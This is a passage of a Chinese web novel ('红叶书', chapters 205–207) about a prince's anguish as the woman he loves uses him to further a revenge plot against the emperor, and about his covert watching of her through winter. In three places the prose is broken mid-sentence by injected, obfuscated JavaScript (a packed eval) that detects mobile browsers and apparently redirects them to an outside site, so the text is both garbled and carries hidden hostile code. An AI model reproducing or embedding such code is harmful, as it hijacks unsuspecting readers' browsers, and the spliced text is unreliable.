直到辰时过了两刻,终于缓缓驶来一趟牛车,车后坐着金絮。 梁风一眼就认出她,紧跟着看见前面拉车的人居然是林童忆。 金絮停在距离午亭稍远的地方,林童忆同样躲去附近草丛,金絮独自走去午亭。 看这个样子,林童忆难道是护送她前来赴约? 梁风完全等不及,见金絮进了亭子,他也走过去。 脚步声音太大,梁风亭子里一冒头,正对上金絮看来的眼睛。面对他的到来,金絮仿佛丝毫不意外。 梁风忽然局促,心脏猛跳,后悔不该假以三皇子的名义约她出来。 忐忑不安地坐到她旁边,和她距离拉近,一种若有所无的皮肤反应令他忘记自己要说什么,好久没有见到她了。 “这是怎么了?”她问。 “我很想你。” 说完他就一惊,金絮语气闲适得像她还在王府里时和他的每一句搭话,令他想都没想脱口而出。 梁风一瞬间着急忙慌地想起来,拿出怀里的字条递给她。 是她给梁与棣写的字条,十分皱巴了。金絮打开一看,轻微点头,像是表示自己知道了。 梁风忽然又忘记要说什么,临到关头用力去想,想起来,“哦对了,你从王府出去后,林童忆是不是在威胁你?” 她思考,张嘴一瞬想说什么又闭上。梁风攥着手掌,掌心紧张得出汗。 她问:“威胁什么?” 语气平静安稳,居然可以抚平他的心跳。梁风咽喉咙,镇定道:“就是胁迫你,要求你必须为他做什么事情之类。” “哦,没有啊。”金絮道:“我和他可以做朋友嘛,我说想和他结拜为兄妹来着,他不愿意。” 胸口梗住,梁风镇定不了了,“你不是答应我不会私下和林童忆接触吗?” 她不说话了。梁风等着,她还是不说话。 梁风觉得她不应该不说话,她应该解释,他于是多问一下:“你为什么要为他谋官?宿卫这差事并不是他胁迫你要你为他谋来的?” 梁风连连摇头,“林童忆居心不良,你不能相信他。” “是吗?”她不置可否。 “他觉着他人挺好的,可以信任。”金絮低头看地板,“这件事的确是我骗了你,我担心我不说是被胁迫的你会不答应。” “你为了林童忆骗我?” 她点头,“嗯。” 梁风有些呆滞,觉得委屈,想质问的念头盖不过这股委屈,他什么话也说不出来。 他感到自己一张脸不断往下垮,五官开始不受控地做表情,他不想在金絮面前太难看,但是控制不住。 金絮眼看他的脸,语气平常道:“他说他小时候在太南行乞,快要饿死时遇见我,我帮了他。他纪念这份恩情,长大了就来帮我。” 梁风越发呆滞,应该很快反应过来,但他反应不过来。一来一回,仿佛冥冥中有着什么,梁风莫名看见金絮和林童忆之间有种隐形又讳莫如深的羁绊,一眼摸不到底。 这简直不可置信。 “这人能帮你?他能帮你什么?” “有啊。”金絮颔首道:“他说他想帮我复仇。” 梁风愣住,多久没有听见过这两个字,都快不认识了。 “他说他懂我的不甘心,他说我和他一拍即合。” “不可能。” 梁风听不懂,金絮道:“我只需要你为他谋个差事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839939|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别的不需要了。” 梁风更加听不懂了,金絮索性道:“那三皇子,我本来想试试能不能和三皇子搭上关系的,这下看来是不行了。” 她将纸条伸过来,梁风不接,“不行。” “嗯,我知道,不行。” “不行不行不行不可以!” 金絮像是没听见一样,“林童忆或许帮不了什么吧,但他会支持我,你对他敌意太大了。” 梁风不知道第几次愣住,这好像是金絮第一次为了外人指责他。 委屈得狠了,梁风觉得震惊恼怒害怕,忍不住指责道:“你在利用我。” 她不说话。梁风拽住她的手,“你必须告诉我你的复仇计划,不然、不然我把你绑回王府去。” 她不吭声,望着亭子外,浑然不在意他的态度。梁风忍不了,“你凭什么利用我!你要复仇,第一个斩断的人就是我!” “不是斩断,没有那么残忍。”她盯着手指,“计划还没定好,我想先看看林童忆可以坐到什么样的位子上去。” 梁风气极,“我马上下令罢免林童忆!” 他委屈得想哭,金絮擦擦他的脸,莫名一笑,打量道:“沙场的血气去哪儿了?不知道我身上的优柔寡断是不是从你这儿学来的。” “如果金丞相还在,一定不会希望看见你这样。你先回王府,后面的事情我和你一块打算。”梁风把金延守搬出来。 她没反应,沉默了很久,才道:“我不去王府。” 梁风发飙:“你不愿意的!你让丽姬走了,你才不愿意的!” “是吗。”她一脸冷漠。 梁风死死拽住她,“你如果走了,往后你再回王府来,我是不会收留你了!” 金絮脸上怔了一下,又道:“是吗。” 她说:“你是做不了朋友,但也不能成为敌人的人。为什么你一直不答应呢?我这么多年没有死心啊。” 她很疑惑,但认真道:“你不要罢免林童忆,我和你保证,利用你只有这一次。” 她是很知道他在想什么的,她是只要退了一步,他就能无所谓一切的。梁风却不知道她在想什么,明明在骗他,居然有种诡异的真诚。 梁风很伤心,“你从来没有在乎过我。” 金絮为他擦脸,“在乎过的。你这些年待我如何我心里十分清楚,要说一点不在乎你是不可能的。” 梁风哭得更凶。她只擦了一下便收手,“但是,每次看见你,我心里都在想皇帝长得什么模样,想我能不能通过你看见我的仇人长得什么模样,你一定和他长得很像。” “一点也不像!”梁风辩白呐喊。 “我知道,你和皇帝很不同。” “你没有见过皇帝。”她为了和他撇清关系已经开始胡诌了。 “我只是不想每次看着你都像是在看着皇帝,这样对你不公平。” 这句听明白了,梁风骂她:“你不可以又利用我又说些让我觉得好听的话!你无耻!” “好,我不说。”她闭嘴。 “你惯是会骗人的!” “你不可以骗我!” 他说出的话好像从来都没有人听。 金絮低头,“对不起。委屈的话你便仔细看看画像吧。” 她起身离开,“我还没有吃早饭,我去吃早饭了。” 手腕在他的掌心中溜走,身上的感应逐渐远离,梁风高声地喊:“林童忆是个什么人!不带你去吃早饭!”他故意说给林童忆听,姓林的就藏在附近。 金絮走出亭子,淡声道:“吃了,此刻从你这里脱身的借口而已。” “你又骗我!” 小骗子!他早就知道,她惯是会骗人的!掏心掏肺从来没有求过什么,居然换来她的防备和利用! “林童忆帮不上你!”梁风站起来,追着喊:“他连救自己都需要别人援手,他如何能帮你!” 金絮没理他,往来时方向走。 梁风仍是扯着脖子大喊:“你如果想回到王府来,你不说两句好听的话我是不会搭理你的!” 金絮一个头也没有回,身影越来越远。 早晨的微风似乎隐隐约约飘来一个字“好。” 205. 《红叶书》(一二五) 梁风呆滞地坐在她屋里的床榻边,两手抱着她的枕头,眼睁睁看着这个房间里已经失去她残留的气息。她走后一直未动的床榻也被他翻乱了。 不断地回想早晨时她说的话,想到天黑,李晟始终站在他旁边, “林童忆和我说话时连头都不敢抬,却有一股底气。”梁风出神地自念:“因为林童忆支持她复仇,而我不同意,这股底气就没有给我。” 梁风怨怨地抱紧她的枕头,“那姓林的心里清楚得很,知道自己压我一头,她说在乎我也是骗我的。” 旁边老李道:“未必。” 被这俩字催得泪眼模糊,心里忍不住产生一点愤然,他奋力自证:“她不需要骗我,她知道我会答应她的一切,哪怕是给林童忆谋差事,她没有被胁迫我也会给林童忆安排,她是知道的,她为什么还要处心积虑利用我?” 也不是处心积虑,她就随口一提,随口编了一个由头,是他没有多想而已。 既然无论如何都会帮她,那她怎样说法似乎也不重要。 但是梁风心里过不去,“她不可以骗我!无论怎样我都会帮她,更不应该骗我了。” 梁风抱紧枕头,低头小声道:“顶多是安排个比宿卫还差点的差事......” “是啊,当真是不公啊。”老李叹气:“原来金姑娘这些年从未死心,王爷,您始终没有发现金姑娘内心的诉求。” 梁风被堵回去了,这话更加催泪。 “她不信任我......” 她的心不在他这里,迟早有一天会和他分开的。只是碰巧在这一天,碰巧遇上林童忆,她当时或许只是随口一说,没想到被他发现了,于是索性借着这件事和他分道扬镳。只是她心软,又不在乎名声,从前愿意和他纠缠不休,所以才拖泥带水,迟迟没有分开。 她说了多少次不会喜欢他,她还拿自己和他比较,他是方方面面都不如她的。她能去各种地方,她能做各种事情,而他都不能,她怎会看得上他。 林童忆纠缠不休,他也纠缠不休,他和林童忆一样惹人厌烦。 越是想,一颗心越是沉下去,枕头都不够抱了,梁风往她的床上挪,抱住她的被子。 “不喜欢就不喜欢了,她说和林童忆做朋友,那和我也行。” “我不能和她做朋友吗?我那天不应该凶她。” “我骂她无耻,她生气了,不会和我做朋友了。” 老李坐过来,拍了拍被子提议道:“不如过一阵子再去找金姑娘谈谈吧。” “我不见她!”梁风往被子里钻,眼泪污染她的被子,“小骗子对我一点也不好......” 老李消声了,金絮的身影在耳边喧嚣起来。 老李叫他吃晚饭,梁风不想吃晚饭,他把自己埋进被子里。 他将意识回溯到早晨的亭子之下,眼前出现金絮。金絮和他说了很多,像是在重复,一句一句地说。梁风仿佛一个字也没听见,却清楚看见她的每一幅神情。 梁风质问她,金絮一直重复。她说她在乎他,她说她从他身上学了他的习惯,她还说委屈的话就仔细看看画像吧,她连退路都说死了。 他忽略她的诉求,她也忽略他的每一句话。 她的神情逐渐不耐,最后推了他一把,梁风后仰着飞出亭子,跌在地上身体猛地一挣,睁眼醒了。 梁风吓死了,心有余悸地爬起来抱住被子,看见李晟就坐在旁边。房里点了两支蜡烛。 “我梦见她了,你说她是不是有别的意思?” 梁风拽住老李衣袖,急切道:“她说她在乎我,她心里是有我的。” “她只要回来和我说说话我就原谅她。” “这不是一件能和她吵架的事情,怎么办?” 梁风被人赶着似的着急忙慌,李晟淡定道:“金姑娘什么意思,您还是得去问问她。” 他的着急忙慌被压住了,梁风怔了怔,低下头,“我不去找她。” 他才不去找她。 万一她主动跟他服软,说一句对不起呢。 一句对不起就想挽回他? 她说过对不起了。 梁风觉得心痛,他将午亭下的对话写在纸上,不断地回忆细节,填充她说每一句话时的语气和神态,试图从她的态度中找出一些被她隐藏的细节。 总觉得有什么被他忽略了,她说了什么是他没懂的。 难道她话里话外,说一半留一半,可是为了什么。 长长地写完几张纸,天亮了。 “王爷,用饭去吧。”老李道。 梁风不吃,他在思考,但是他的大脑空空洞洞。 “王爷,不如想想金姑娘准备复仇的事吧。”老李道:“金姑娘打算如何刺杀陛下?” 刺杀俩字没刺成皇帝先刺进他心里,梁风顿时郁闷窒息,空洞的大脑有了东西。 “我觉得她不想。”梁风道:“她这么长时日始终没有具体的行动,而且雪姬已经死了。” “王爷有劝过她。” 梁风点头,“有。但我不知道该怎么劝她,我只会和她说不可以。” 一次次地说不可以,再多哪怕一个字他都说不出来,是他不会说话。 “堵不如疏啊王爷。” 梁风摇头,坚决道:“不能疏。” 一点也不能碰。就像她前几日接触梁与棣,她走出了这一步,如果她成功和梁与棣相识,她想让三皇子助她复仇,她难道主动说出她的真实身份吗?她难道让梁与棣杀亲爹吗?梁与棣一定第一个杀了她,然后以清除乱党余孽为名向皇帝邀功。 她若不借助他人的力量,她靠自己复仇,从前也亲口和他说过了,她连皇宫的边都摸不着。 对于金絮复仇这件事情,他想得更深一点。金絮没有在他面前掩饰过复仇的念头,她没有想过瞒着他,每次都是她主动说起,她还小的时候就和他说过了。 “她是很信任我的。”梁风肯定道:“她未必像信任我这样信任林童忆。” 老李笑了,温声道:“金姑娘既然信任您,您便有机会同她和好。等到金姑娘完全放下的那一天,林公子也就不会出现在金姑娘身边了。” “放下......”梁风喃喃道。 放得下吗?放得下她会犹豫这么多年吗?仅仅因为一朝天子一朝臣家族就被清剿,换了是他,他能看得开吗?为什么要劝她放下这件事。 她这十年间一直在犹豫纠结,林童忆的出现和水夭孙姨她们意外去世或许是催化,他可以肯定中间有几年她放下了复仇的念头的。她现在是被林童忆影响了,她必须离林童忆远一点,但林童忆又绝对不是令她内心做出决定的根本原因。 也或许她前几年其实并没有真正放下,但那时一定有个别的什么让她可以暂时不去想这件事。可能是温柔馆的姑娘们,在温柔馆解散、水夭孙姨去世后她才会重新产生复仇的念头。 “我这个时候不应该远离她,她很需要我。” 老李忙连连点头。 这么说着,梁风却不动作,干巴巴地坐着,他不敢去找她。 林童忆为她的复仇做到了哪一步,姓林的天天像个雕塑一样站在宫门口,到底能帮她什么,这人一辈子到死也就是个宫门宿卫了。 她最多迈出的也就这一步。 “王爷,您还记得您派十二出去找个隐蔽的地方吗?”老李忽然道:“您派十二办这件事是为了什么?” 隐蔽......为了什么? 梁风茫然反问:“为了什么?” “不如您自己想想。” 好,他想想。 梁风开始思考。 或许他的确该仔细想想往后到底要怎么样,去哪里、做什么,难道一辈子待在皇帝眼皮底下吗,可是如果金絮不在身边的话,想这些没什么意思。 然后想什么呢? 梁风震惊于自己空洞的思考,为什么年纪越大越蠢了,为什么满脑子是她,为什么他会变成现在这样一步也离不开她的。 为什么这几年一直放纵对她的感情,她又不是没有明确说过不会和他在一起。可是她就没有做错吗?难道他的放纵没有被她纵容吗?她要是嫌他烦,厌恶他了,就应该凶狠地把他推开,让他滚...... 她好像的确说过让他滚,她还打过他,还骂过他...... “......” “这都是她的计谋。”梁风脑袋空空地想。 他看不见太远,只看得见眼前一步的距离,这距离内要有金絮。脑袋空空的梁风想着金絮。 他拿着写了她每一句话的纸,一句一句分析,想明白她在说什么,想明白自己在想什么。 可是他想不明白,一连想了几天都想不明白。 说到底还是她的错。她骂得不够重,打得也不够重,才让他不死心。 梁风这一下倒是想通了,“说明她是心疼我的。” 一直陪着他的李晟,闻言随口问道:“王爷,何出此言啊?” “她的态度就是最好的证明。”梁风仿佛抓到自己因此而存在的东西,“虽然她凶我骂我打我,但她没有讨厌我。她每次都会和我道歉,虽然我觉得她不用和我道歉。她还说她在乎我,她还说我若是与皇帝长得像就迁怒于我是对我不公平的。” “她为我考虑公平了。”梁风觉得这是重点,“她既不想讨厌我,又不想真的被我讨厌,还不想我讨厌她。” 老李眉头一皱,显然没绕明白。 “她在乎我的,我能感觉到。”梁风笃定道:“我只是不确定而已。” 李晟愈发没绕明白。 “她不讨厌我。”梁风重复一遍,“她只是不愿意和我在一起。” “对她来讲,我和林童忆完全不一样,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梁风没有跟着老李的思绪转过弯来。 老李抚须沉吟,“或许是去年冬季太过寒冷,百姓们都有警惕,早早备置今冬。” “阿絮怎么办?!”梁风登时如临大敌,随时提枪上阵,“今年冬天难,她怎么办?她住哪里,她才搬出去,来不及囤粮炭吧。” 梁风紧迫地看着老李,李晟抚须沉着道:“这是个问题。” 老李想到办法,“王爷,您不如留个暗卫在金姑娘身边盯梢吧,若是发生何事也有个人知道。” 梁风顿住,没有立刻动作。老李道:“金姑娘若有需要,我们也好有法子帮她,那位林公子做宿卫的月俸恐怕不多吧?” 梁风当即点头,“好,我听你的,是你让我吩咐十三在她身边的。” 李晟应道:“是。” 十三携一袋金子,回到她的身边。 十三不能在她面前现身,不能听她命令,重点留心她身边发生的事情,绝不是看着她。这不是监视,是他关注京城内外大街小巷的大小事宜,是他作为一个诸侯王,多少需要体恤一下百姓。 一日后,十三传来书信,梁风偶然得知了她的近况。 她给自己安置了一间破落的小屋子,位于秋叶巷深处。十三不知道屋内情形,从外观能判断房子还算牢固。一进,院子非常狭小,可以说没有院子,砖瓦很旧了,门窗都有朽坏痕迹,金絮住进去时应该不曾找人修缮房屋。 梁风脑中现出京城大致地图,秋叶巷位于京城很偏僻的地方,住那附近的多是京城本地人,很少出现流散的百姓,巡防还算可以。房子虽然小,她一个人住,东西不多,应当不会太过拥挤。 十三观察的这一天中她没有出门,也没有人找她。十三还说她屋内囤了炭,白日里有生过火。她的烟囱似乎有点堵,冒出的烟都是断断续续的而且极细。 不知道囤得够不够,她来不及准备足够多的粮炭才对。梁风让十三往她院子不小心撒点零碎金子,就当是路人无意遗失的。 十三照办了。 隔日下了第一场雪。她仍是一整天没有出门,她没有留意到十三扔进去的金子。 傍晚后,林童忆去找她了。两人在屋子里说了一会话,还开了锅做饭,似乎是吃完饭林童忆就走了。 十三不知道他们说了什么,梁风没有让十三去偶然听见。 第三日,第一场雪停了,她终于出门了,出门扫雪。 她穿着花棉袄,看起来布料很粗但是非常厚实的衣服。她似乎很懒,只扫大门前的一小截雪,再多点的地方都不扫,更没有发现墙边已经被淹在雪堆下的碎金子。她扫完雪,又回到屋子里不出来。 她似乎和他一样也没什么事情干,大多时候闭门不出,每天在屋里不知道干什么,梁风唯独知道她缺钱。 金子太大,她不好花出去,十三便改为撒钱。只要足够多,她迟早会发现。 不断撒钱,不断下雪,每一批钱币都会被雪吃掉。 撒了几天后,梁风忽然反应过来,没有名姓的钱币她会不会以为是林童忆撒的? 梁风果断让十三停止撒钱,不给林童忆做嫁衣。这个时候,金絮不知怎么地,开始频繁出门了。 206. 《红叶书》(一二六) 大概是炭不好烧,她出门去的都是柴火铺子。 可是这个时候柴火已经不好买了,她巡了几天,一根木头没有买到。市集不是没有,而是她买不起。 没有柴火用,但她还有炭烧,她被堵住的烟囱每日都有烟冒出来。 梁风买来一批柴火,雇人装车拉载,在她平常路过的地方假装偶遇。偶遇了一次,她没有买这一车柴火。 梁风想着该怎么把这车柴火巧妙地卖给她时,她出门开始有了别的目的。 吃饭,吃的都是小摊子。 梁风仿佛想象得到,她初时为了省钱,自己在家做饭吃。或许是做得不好吃吧,熬了一段时日熬不住了,于是去外面吃现成的。 每一次林童忆找她,烟囱冒出了烟难道都是她在给林童忆做饭吃? 林童忆每隔几天就会找她,两人躲在屋里说些什么。梁风维持住底线,不让十三监听。 他们一块缩在屋里会聊些什么?商量计划的细节和落实的情况?编排什么人的坏话?或者是在互相关心?说说笑笑?万一林童忆能逗她开心呢?虽然她不信任林童忆,但如果林童忆能逗她开心呢?!两个穷人要一起熬过这个冬天。 他被自己的思考想得很生气,人不应该思考,索性柴火也不卖了。 思考到大雪落下来,淹没了王府庭院。 雪不知道什么时候下大了,不知道什么时候积起来了。 十一月中,两个穷人间忽然有喜讯。 林童忆升职了。升成了光禄勋的给事谒者,掌管宾赞受事。日常做事,遇到实在位卑低职的小杂役,姓林的是能得到一声尊称“林大人”的。 梁风有些惊愕和诧异,简直不知道怎么说,光禄勋是九卿之一,前途自然比宿卫要好得多,这人还真长进了。 林童忆越发会像在自己家一样地在她的院子里走来走去,这姓林的在她面前得脸了! 不行,梁风坐不住,他必须要去找她,和她说清楚。可是他还没懂。屁股又粘回了榻板上。 十二月初一,金絮忽然出了远门,独自去长门寺拜地藏王菩萨。她似乎并没有拜,光是看着并散布。她在庙中偶遇游琪,有些攀谈。游琪拜了地藏王后,两人结伴出来,不知说了什么,出来后便打道回府,分别前说了几句话。 梁风听说后愣愣地不明所以。印象里她很少会去拜菩萨,甚至在她父母兄长祭日都不常拜地藏王,她并不崇信这些,更不觉得家人死后是归地藏王管束。她不崇信便不会拜,她去了是有什么别的目的?难道专程为了见游琪? 梁风稍一想便明白了,游琪今日出门拜菩萨的事情一定是林童忆告诉她的,林童忆在宫里要知道这些并不难,游琪按年纪来讲肯定在谈婚论嫁了,丞相府的婚事肯定被宫里各个当官的人互相传诵惦记着。 她的目的就是游琪,她想和游琪产生私交。 不知道她和游琪聊了些什么。她真的在行动。她当真在行动!她有计划! 梁风彻底坐不住了,她遇见游琪如同她遇见梁与棣一样,是怀揣目的的!她换了方向,不从男人下手,她选择先认识京中贵女了。 梁风当机立断,出府准备往秋叶巷去。然而小厮来报有人登门,来人是与義。 梁风被绊住,见与義兴奋地挥着手跑来,浑然不管身上落的雪,喊着:“皇叔,有大事找你!” 梁风只好暂时压下找她的念头,耐着性子道:“王府储蓄不够了,我近期也急用钱,你过来不会是让我更紧缺的吧?” “才不是!”七皇子脸上瞧着高兴,大大方方往梁风位置上一坐,道:“父皇说我总是来找皇叔,于是这次的差事也就派我过来了。” 梁风一眼看见与義手里拿的画卷,有些猜到了,“你不会是做媒婆吧?”他纠正:“媒夫?” “才不是。”与義摆出正经来,“侄儿是来和皇叔一块作画的。” 说着,展开画卷。画中果不其然是一名女子,只不过这女子是空脸,脸的部位是空白的。 梁风心里着急金絮那边,懒得细看画卷。 “父皇说,送上门那些画像也没个让皇叔满意的,索性送张空白脸的画像来。皇叔照着心中喜欢的女子模样画,画妥后父皇会着人循着画像挨家挨户去找。”与義指画像角落用来暗示身高多少的熟枣,“皇叔喜欢女子身高多少,也可在这儿画出来。” 画上已有的熟枣只有一颗,剩下几颗由梁风手补。他没耐烦,画中人没一处和金絮有一分相似的,脸部空出来的轮廓和她都没半分相似。 笔都不用拿他都知道画不好,金絮的脸,他怎么可能画得出来,只想敷衍:“那先放着吧,过后再画。” 与義依他意思,将画卷好放在书案一旁,“父皇给了时限的,三日内必须画完,交由我拿回宫里去的。你一日不画完,我就是要盯一日的。” 梁风厌烦了。这空白画像送来的时机挑在金絮离开王府之后,大约是盯着王妃位置的人知道金絮是风尘女子,迟早会有离府的一天,又不想送来的女子和一个风尘里的人同住屋檐下,于是等着金絮离开。 “好好好,我画完给你。” “那可说好了哦。皇叔画完后遣人告知我,我会过来取。”与義笑嘻嘻。 梁风看着与義嘻嘻的脸,倒是想起另一件事,问道:“你听说前阵子我府里有个女子走出去了没有?” 林童忆都能替她打探消息,他也必须能。 “听说了啊,前一阵宫里有些人在议论,我还听三皇兄提起过,说那女人是惹了皇叔厌烦才被赶出去的。” 梁风道:“那你在宫里也帮我传一传,就说那女子不是因我厌烦而赶出去的,她只是回家去了,她家里人不同意她在京城这样的太过黢黑淤积的地方久待,离得也远。” 与義懵懵懂懂,道了一声:“哦,好啊。”没多问。 片刻与義想了想,探头好奇问:“皇叔是对那女子还有留恋?” “嗯。”梁风点头。 “皇叔什么时候补完画像?” “过两日吧。”他不想画。 “那我等你哦,皇叔。” 与義嘻嘻地离开,周围再次静下来。 梁风低头看着空白画像,想象画上金絮的脸,想象她的眼睛如何灵动地被他画出来。 他坐下提笔,还是想着暂时先不去找她,有些事情他还没有想明白。 他一直觉得她的眼睛很特别,说不清的特别,仿佛很深,蕴含很多内容,又似乎很简单。没有深不见底的心思,而是被她隔了一层,始终无法看到她的眼睛最深处。 记得她眼神变化最明显的时候是在她刚成为温柔馆鸨母那一年吧,她学会了怎么把心思藏起来。他最初以为是她的妆太浓了才让他看不透,后面还没看透,她却自己主动和他说想要复仇。 复仇,梁风以为这是她深埋心中的秘密。她难熬于这秘密之中,摇摆不定,才会向他诉说困惑,会听他的意。,这说明他在她那里是很不一样的人。 只是在说出来之后,她眼中仍然有隐藏起来的东西,这或许不止是碍于信任,而是她似乎有什么目的。 复仇不是她的最终目的,她说过了,她想要的是像丽姬那样,自由自在,想做什么做什么,想去哪里去哪里,她才因此嫌弃他。他身体四周有从朝堂牵引过来的无形场域,她才因此嫌弃他,才会一边信任他,一边嫌弃他。这个场域不由他控制,她能做的仅是决定是否靠近他。之前没得选,如今有得选了。 她决定复仇,有计划正说明不是冲动做出的决定,她知道自己在干什么,她很清醒。因犹豫而不断思考,深思熟虑之后做出决定,而且有个影子一样无条件支持她的人。 她对林童忆是什么态度?她信任林童忆吗?她会什么话都和林童忆讲吗?林童忆对她来讲是什么?一个工具?一柄不太锋利的匕首?虽然不够锋利,但这个匕首听命于她。不像他并不听她的话,她说要复仇,他每一次都不同意。 她最想要的是一个听话的工具。她每一次看他时,是在打量他是否是一个合格的工具吗?她在挑选? 从前每一次探究都被阻拦了,被她的妆阻拦,被她不经意间的纵容阻拦,既然他的靠近是她不喜欢的,为什么这么多年他从来没有觉得自己做错了?哪怕被她骂、被她打、被她凶,他从不觉得靠近她是他真的做错了。 她需要的支持是从她自身出发,还是由外人决定,他应该学林童忆那样无条件支持她吗?她对林童忆是什么态度?她不讨厌林童忆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839941|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁风觉得应该和她问问清楚,可是她总喜欢骗他。 金絮为什么喜欢骗他?她经常在哪些事情上骗他?除去那些无关紧要的事情,她其实在大事上没有骗过他,最大的事情在她小的时候就不会瞒着他了。 她肯定没有这么信任林童忆。一个人会在什么情况下这么信任另一个人? 十分喜欢她就会信任她了,这是自然而然的。金絮喜欢他吗?可是喜欢一个人是不会骗她的。 梁风端着画笔认真思考,他该如何画出她的眼睛? 就像一个人躲于水下,留了一根稻管伸出水面呼吸。其实没有这根稻管,人已经在水下快淹死了,却不等着岸上的人拉一把。岸上人只需要伸半截稻管入水,出不出水由自己决定。 梁风不断回想她的眼神,从小时候开始想,他想找到在她眼中所有被他忽略的细节。她每一次看待他、看待林童忆、看待温柔馆里的人、看待出现在她身边所有的人,她看待这些人的眼光是在挑选吗? 他忽然发现,金絮和皇帝某些地方非常相似,他一直很听她的话,唯独在复仇一事上始终反驳她,就像他也很听皇帝的话,唯独娶妻一事他始终在反驳皇帝。 梁风试着用皇帝的视角代入金絮,在金絮眼里,他到底是一个怎样的人? 如果能带她离开这里,她会不会跟他走?他会带她去她想去的地方。林童忆支持她的并不是她真正想要的,她不可能喜欢林童忆。林童忆一开始就错了。 没错,林童忆一开始就是错的。 梁风画到深夜,试图描摹她的眼睛,已经不知道自己在想什么了。 她此刻在想什么,她会不会缺个可以说话的人。他很想去找她,想和她说清楚。他想问金絮,他只想金絮在身边。 梁风画到天亮,画了一堆废纸。 年关将至,街巷热闹起来的炮响震碎了王府屋顶的积雪。 梁风继续画画。 勉强画出她的一两分轮廓,与義再次找了过来。 梁风最终谨慎地落笔,补全了画中人脸。 纵全图来看,仅在眉眼有几分像她,身子完全不是。这画中人的身子,画得特像一身衣服,而不是一个人。 “还行。”与義评价道:“父皇应当是能照着这画中人寻到皇叔中意的女子的。” “寻不到。” 与義无所谓,将画卷好,“我回宫后这两日将你告知我的说法散了出去,说离开王府的女子只是回家去了,有听见的人问是不是还可能回来,我说是。” 与義道:“之后想和皇叔相看的人家大约少了。” “本来就该少。”梁风也无所谓,“我在男女之事上作风不正。” 与義敲着画卷拍拍手心,“主要是父皇对你的婚事很上心,导致朝中那些人也跟着上心了,丞相那边总觉得父皇着意你的婚事是不是在预谋什么。不少人猜测父皇若是给你许配了一个家世好的女子,大约想重新让你掌兵了。” 梁风心里抖了抖,随即否认:“不会。”不可能,皇帝不可能这么大胆子,等了多久才等到他交出兵权,又给回来?他猜不到皇帝在想什么。 “不要紧,无论如何,这幅画交上去之后,你的婚事至少要等过完冬再会被提及了。拂柳街还没修好,今年朝廷需调拨更多的钱用来救济城内流浪的百姓,各位大人都忙得很。” 与義说回见,带着画像离开。 娶妻这件事情,根本上还是他太不听话了。皇帝的子女,据他所知,没有一个不是听皇帝安排成婚的。 皇帝不撮合他和谢韵了,谢韵之外,皇帝似乎没有中意的女子,这是不撮合了吗?他觉着不是,皇帝没那么大方吧。这张空白脸的画像也是在试探他的态度吗?想试探他听不听话?在婚事上,他不是一直不听话吗? 他娶一个从良女子对皇帝来说不是最好的吗?他一门心思放在从良女子身上对皇帝来说不好吗?他的家事与朝廷分割开来不好吗?到底有什么不好的。 皇帝真正怕的不是他会篡位,而是怕他在某些心怀不轨的文官撺掇下歪了心思。难怪金絮不喜欢他。她会喜欢一个优柔寡断的人吗?她不会。 冬深天寒,大雪越下越厚,梁风越思考越想不明白,思考真是令人费解。 207. 《红叶书》(一二七) 她出门愈发频繁了。 十三说她喜欢给城门外无家可归的落魄百姓和乞丐施粥。春节愈近,外地流民愈发会选在这个时候聚拢京城,不光是为沾过年喜气,还为从京城的贵人手中讨点钱两。那些百姓部分是附近郡县的流民山匪,当中或许有太南来的人。 今年城内的乞丐比往年要少些的,部分身体还算强健的散户都被收编去修缮拂柳街,这部分人至少有吃有住。 每年过冬,京城内愿意为贫苦百姓施粥的大户人家不少,施点零零碎碎的好心换取名望,对于世家侯爵或商贾富户来讲何乐不为。 她锅小,煮几趟才能煮出一桶大粥,搬到牛车上再拉去城门口,她一天最多也就跑一趟,而且凉了。她施的是纯白粥,一点肉渣滓都没有,有的乞丐还瞧不上,在大户人家那里讨不着粥的人才会去她那里喝一碗,或者喝多一碗。 施了两天,她发现这样费力不讨好,于是她主动请缨去施粥棚子支得最大的一户人家,献上自己,说希望收容她帮忙施粥,施完粥她就走。 梁风觉得这不是个好办法,大户人家最不缺的就是人手。 然而那个大棚子人家还真收了她。 往后每日早晨施粥时金絮便去帮把手,要么帮着施粥,要么帮着洗碗,一直忙到中午时派完一天的粥为止。每到派完粥时,那户人家的主子居然留了一碗稀粥给她喝。 在她帮手后,那户人家只又施了两天便不施粥了。大家族都有家族内部的规矩,分给派粥的钱就这么多,钱用完了好名声也有了就不施了。 金絮在最后一天帮着这户人家拆掉棚子,她和这家的主子道别,扭头换下一个目标。 有了这一次的经历,她仿佛有了履历。她的下一个目标,找上了一户棚子虽然没有那么大,但是可以一直派粥派到傍晚的世族,而且粥里加了两种肉沫。这家钱财更多,想换取的名声也更大。 这个世族同样收容了她,她接着开始每天要么帮着施粥,要么帮着洗碗,一直忙到傍晚派完一天的粥为止。 十三查过,说这个世族姓李,和朝中某个大员是远房亲戚,和泰安侯也有攀交,名字说出来梁风是有听过的。 这个李氏家族还有几个公子哥从前喜欢流连青楼,近两年成家了才没去了,至于是不是温柔馆曾经的常客梁风就不记得了。 说不定金絮记得,记得才盯上这户人家。 